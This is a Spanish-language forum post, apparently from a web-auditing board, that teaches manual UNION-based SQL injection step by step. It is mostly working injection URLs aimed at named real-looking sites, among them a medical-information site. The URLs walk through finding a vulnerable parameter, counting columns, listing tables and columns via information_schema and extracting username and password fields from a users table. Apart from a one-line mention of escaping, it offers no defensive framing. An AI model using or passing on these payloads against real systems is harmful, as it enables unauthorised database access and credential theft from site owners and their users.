Que es un SQLi?
Es una vulnerabilidad que se efectua por una mala filtración de caracteres.
Usando mysql se pueden filtrar caracteres con la funcion mysql_real_escape_string()
Esta vulnerabilidad permite al atacante injectar una consulta SQL mejor conocido como un query.

Sqli Manual

en este caso una variable aqui viene siendo

Código: Seleccionar todo

http://www.icvp.mx/enfermedades_detalle.php?id=5
la variable id resultado de la variable 5 un ejemplo

Código: Seleccionar todo

http://www.icvp.mx/enfermedades_detalle.php?id=5&ref=google&a=b
vendrian siendo las variables
id
ref
co
a

Código: Seleccionar todo

http://www.icvp.mx/enfermedades_detalle.php?id=5&ref=google.com&g=d&cos=sss 
si queeremos comprobar que la variable g es vulnerable donde pondriamos la comilla?

Código: Seleccionar todo

http://www.icvp.mx/enfermedades_detalle.php?id=5&ref=google.com&g=d'&cos=sss
cuando verifiques si una variable es vulnerable pruebas asi:

Código: Seleccionar todo

http://gogo.com/index.php?var=vuln' y http://gogo.com/index.php?var='vuln
de las dos maneras pruebas

para saber cuantas columnas tiene podemos poner

Código: Seleccionar todo

http://www.icvp.mx/enfermedades_detalle.php?id=5+order+by+6
si ponemos

Código: Seleccionar todo

http://www.icvp.mx/enfermedades_detalle.php?id=5+order+by+7
sale ke no existe pero con 6 sale bien quiere decir que tiene 6
columnas

Código: Seleccionar todo

http://www.icvp.mx/enfermedades_detalle.php?id=5+union+select+1,2,3,4,5,6,


salta normal

Código: Seleccionar todo

http://www.icvp.mx/enfermedades_detalle.php?id=5+union+select+1,2,3,4,5,6,7
salta error quiere decir que es la 6

notA: una injeccion siempre deve tener -- al final ejemplo
[Enlace externo eliminado para invitados]

tambien se puede hacer

Código: Seleccionar todo

http://www.icvp.mx/enfermedades_detalle.php?id=5+union+select+0,1,2,3,4,5--
(Desde el 1 al 6 o desde 0 al 5) es lo mismo

Para que query se vuelva negativo y sake un error hay ke poner un - antes de la variable vulnerable
ejemplo

[Enlace externo eliminado para invitados]

Salen unos numeros botados por ahi en este caso es el 4 si le damos click a el error que sale
salen los numeros 4 3 y 6

Cada numero esta involucrado en la injeccion

Código: Seleccionar todo

ejemplo http://www.icvp.mx/enfermedades_detalle.php?id=-5+union+select+0,1,2,3,4,5,--
saldrian 5 3 2

esos numeros estan haciendo querys ala db

con este comando database()

se saca el nombre de la db
Como?

sustituimos un numero ke imprime 5 3 o 2 ejemplo

Código: Seleccionar todo

http://www.icvp.mx/enfermedades_detalle.php?id=-5+union+select+0,1,2,3,4,database()--
para ver la version de PHP enves de poner database()

se pone version()

(en otro numero que imprima en estecaso 2) ejemplo

Código: Seleccionar todo

http://www.icvp.mx/enfermedades_detalle.php?id=-5+union+select+0,1,version(),3,4,5--
Para sacar las tablas...

cuando quieras sacar informacion de las tablas nombres o cantidad de tablas lo sacamos de
information_schema.tables


y cuando sea de columnas

information_schema.colums

si queremos sacar las columnas la url seria asi

Código: Seleccionar todo

http://www.tacosaltos.com/index2.php?o=CA&catID=-4+union+select+1,column_name,3,4,5,6+FROM+information_schema.columns--
y las tablas

Código: Seleccionar todo

http://www.tacosaltos.com/index2.php?o=CA&catID=-4+union+select+1,table_name,3,4,5,6+FROM+information_schema.tables--
en algunos casos nos sale solo 1 tabla para ir sabiendo mas tablas

aplicamos LIMIT+1+1--
LIMIT+2+1-- asi succesivamente

Código: Seleccionar todo

http://www.telemedik.com/articulos.php?id=-288+union+select+1,2,3,table_name,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+FROM+information_schema.tables+LIMIT+4,1--

ya que sacamos las tablas encontramos la tabla usuarios users o algo asi

Código: Seleccionar todo

http://www.telemedik.com/articulos.php?id=-288+union+select+1,2,3,table_name,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+FROM+information_schema.tables+LIMIT+49,1--
Imagen

ya tenemos eso ahora que hacemos?
encriptamos la tabla en ascii to hex
les recomiendoe sta web para encryptarlo [Enlace externo eliminado para invitados]

Ok ahora en la url sustituimos los table_name por column_name y en information_schema.tables ponemos
information_schema.columns seguido de un +where+table_name=el codigo encriptado(le agregamos un 0x al inicio y le quitamos los espacios)
y el limit lo ponemos en 1,1
Quedaria algo asi

Código: Seleccionar todo

http://www.telemedik.com/articulos.php?id=-288+union+select+1,2,3,column_name,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+FROM+information_schema.columns+where+table_name=0x7573657273+LIMIT+1,1--
ven la url? nos tira username ahora moveremos el 1,1 asi 2,1 3,1 sucesivamente hasta que salga pass o algo parecido

Ahora borramos hasta que quede la injeccion normal algo asi

Código: Seleccionar todo

http://www.telemedik.com/articulos.php?id=-288+union+select+1,2,3,column_name,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+FROM+
donde dice from+ le ponemos el nombre de la tabla (users) quedaria asi

Código: Seleccionar todo

http://www.telemedik.com/articulos.php?id=-288+union+select+1,2,3,column_name,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+FROM+users--
cambiamos el column_name por el nombre de la columna que queremos ejemplo

Código: Seleccionar todo

http://www.telemedik.com/articulos.php?id=-288+union+select+1,2,3,username,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+FROM+users--

Código: Seleccionar todo

http://www.telemedik.com/articulos.php?id=-288+union+select+1,2,3,password,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+FROM+users--
Si tienen dudas ami privado amigos
Responder

Volver a “Auditoria Web”